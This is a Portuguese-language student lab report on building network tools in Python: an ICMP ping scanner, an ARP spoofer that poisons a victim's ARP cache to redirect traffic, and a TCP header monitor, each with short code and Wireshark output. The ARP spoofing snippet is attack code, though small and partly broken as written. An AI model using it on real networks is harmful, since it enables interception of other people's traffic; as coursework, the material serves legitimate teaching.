Relatório do T2 de Lab Redes

Dhruv Babani
Eduardo Barcellos
Andre Saciollito
Pontifícia Universidade Católica do Rio Grande do Sul — PUCRS

23 de novembro de 2024

1 Introdução

O estudo de redes computacionais exige uma compreensão prática de protocolos e estruturas de comunicação. Este trabalho apresenta a implementação de ferramentas que exploram a manipulação de pacotes ICMP, ARP e TCP.

1. **ICMP Scanner**: permite identificar hosts ativos na rede.
2. **Spoofer de ARP**: finge ser um dispositivo confiável na rede, redirecionando tráfego.
3. **Monitor de Tráfego TCP**: captura pacotes e exibe informações detalhadas de cabeçalhos.

Todas as ferramentas foram implementadas utilizando Python com bibliotecas padrão e específicas como *Scapy*, possibilitando maior controle sobre os pacotes manipulados.

2 Implementação

2.1 ICMP Scanner

A ferramenta ICMP Scanner utiliza pacotes ICMP do tipo *Echo Request* para identificar dispositivos ativos. O método constrói manualmente o cabeçalho ICMP e calcula o *checksum* antes do envio.

Código do calculo do checksum e o cabeçalho do ICMP Request:

Listing 1: ICMP Request(Montagem do Cabeçalho)

```
import socket
import struct
import time

def checksum(data):
    """
    Calcula o checksum para o cabeçalho.
    """
    s = 0
    for i in range(0, len(data), 2):
        w = (data[i] << 8) + (data[i + 1] if i + 1 < len(data) else 0)
        s += w
    s = (s >> 16) + (s & 0xFFFF)
    s += s >> 16
```

```
    return ~s & 0xFFFF

def create_icmp_packet():
    """
    Cria um pacote ICMP Echo Request.
    """
    icmp_header = struct.pack(
        '!BBHI',
        8,                  # Tipo (8 para Echo Request)
        0,                  # Código
        0,                  # Checksum (calculado depois)
        0x00000000          # Identificador
    )
    icmp_checksum = checksum(icmp_header)
    return struct.pack(
        '!BBHI',
        8,                  # Tipo
        0,                  # Código
        icmp_checksum,      # Checksum
        0x00000000          # Identificador
    )
```

O uso do *checksum* garante que os pacotes ICMP enviados estejam corretos e sigam os padrões do protocolo.

Resultados capturados no Wireshark:

No.	Time	Source	Destination	Protocol	Length	Info
25	1.253123	192.168.0.105	192.168.0.1	ICMP	74	Echo (ping)
26	1.253789	192.168.0.1	192.168.0.105	ICMP	74	Echo (ping)

2.2 Spoofer de ARP

O Spoofer de ARP utiliza pacotes ARP falsificados para redirecionar o tráfego de dispositivos da rede para o atacante. A implementação se baseia na criação de pacotes com o campo de origem (*psrc*) modificado.

Código de spoofing ARP:

Listing 2: Spoofing de ARP

```
from scapy.all import ARP, send

def spoofing(target, spoofed):
    mac = get_mac(target)
    packet = scapy.ARP(op=2, hwdst=mac, pdst=target, psrc=spoofed)

    scapy.send(packet, verbose=False)
```

Esta abordagem altera o cache ARP da vítima, levando-a a enviar pacotes para o atacante em vez do dispositivo original.

Resultados capturados no Wireshark:

No.	Time	Source	Destination	Protocol	Info
35	1.876554	Attacker MAC	Broadcast	ARP	Who has 192.168.0.1?
36	1.877622	Router MAC	Broadcast	ARP	Reply 192.168.0.1 is

2.3 Monitor de Tráfego TCP

A ferramenta de monitoramento captura pacotes diretamente do adaptador de rede e exibe informações dos cabeçalhos IP e TCP. A análise dos pacotes permite entender o tráfego e identificar padrões ou anomalias.

Código da Extração dos Pacotes:

Listing 3: Extração dos cabeçalhos dos pacotes

```
1
2  # Função para converter endereço IP
3  def ip_to_str(address: bytes) -> str:
4      return '.'.join(map(str, address))
5
6  # Função para obter o nome do host a partir do IP
7  def get_host_name(ip: str) -> str:
8      try:
9          return socket.gethostbyaddr(ip)[0]
10     except socket.herror:
11         return "Desconhecido"
12
13 # Função para extrair o cabeçalho IP
14 def parse_ip_header(packet: bytes) -> Tuple[str, str, int]:
15     ip_header = struct.unpack('!BBHHHBBH4s4s', packet[:20])
16     src_ip = ip_to_str(ip_header[8])
17     dest_ip = ip_to_str(ip_header[9])
18     protocol = ip_header[6]
19     return src_ip, dest_ip, protocol
20
21 # Função para extrair o cabeçalho TCP
22 def parse_tcp_header(packet: bytes) -> Tuple[int, int]:
23     tcp_header = struct.unpack('!HH', packet[:4])
24     src_port = tcp_header[0]
25     dest_port = tcp_header[1]
26     return src_port, dest_port
```

Resultados capturados no Wireshark:

No.	Time	Source	Destination	Protocol	Length	Info
50	1.632879	192.168.0.105	172.217.29.14	TCP	66	54745 → 80 [
51	1.633121	172.217.29.14	192.168.0.105	TCP	66	80 → 54745 [

3 Resultados e Análise

Os testes demonstraram:

- O ICMP Scanner identificou dispositivos ativos com latência mínima.
- O Spoofer de ARP redirecionou tráfego com sucesso, mas foi detectável por ferramentas como Wireshark.
- O Monitor de Tráfego TCP capturou pacotes de forma eficiente, mas é limitado em tráfego criptografado (HTTPS).

Limitações das ferramentas incluem a necessidade de privilégios administrativos e a dificuldade de descriptografar dados criptografados.

4 Conclusão

A implementação permitiu aprofundar conhecimentos práticos em redes computacionais, abordando manipulação e análise de pacotes ICMP, ARP e TCP. As ferramentas cumpriram seus objetivos, demonstrando a funcionalidade dos protocolos.

Esta experiência reforça a importância da ética no uso de ferramentas de redes, especialmente em cenários que envolvem segurança e privacidade.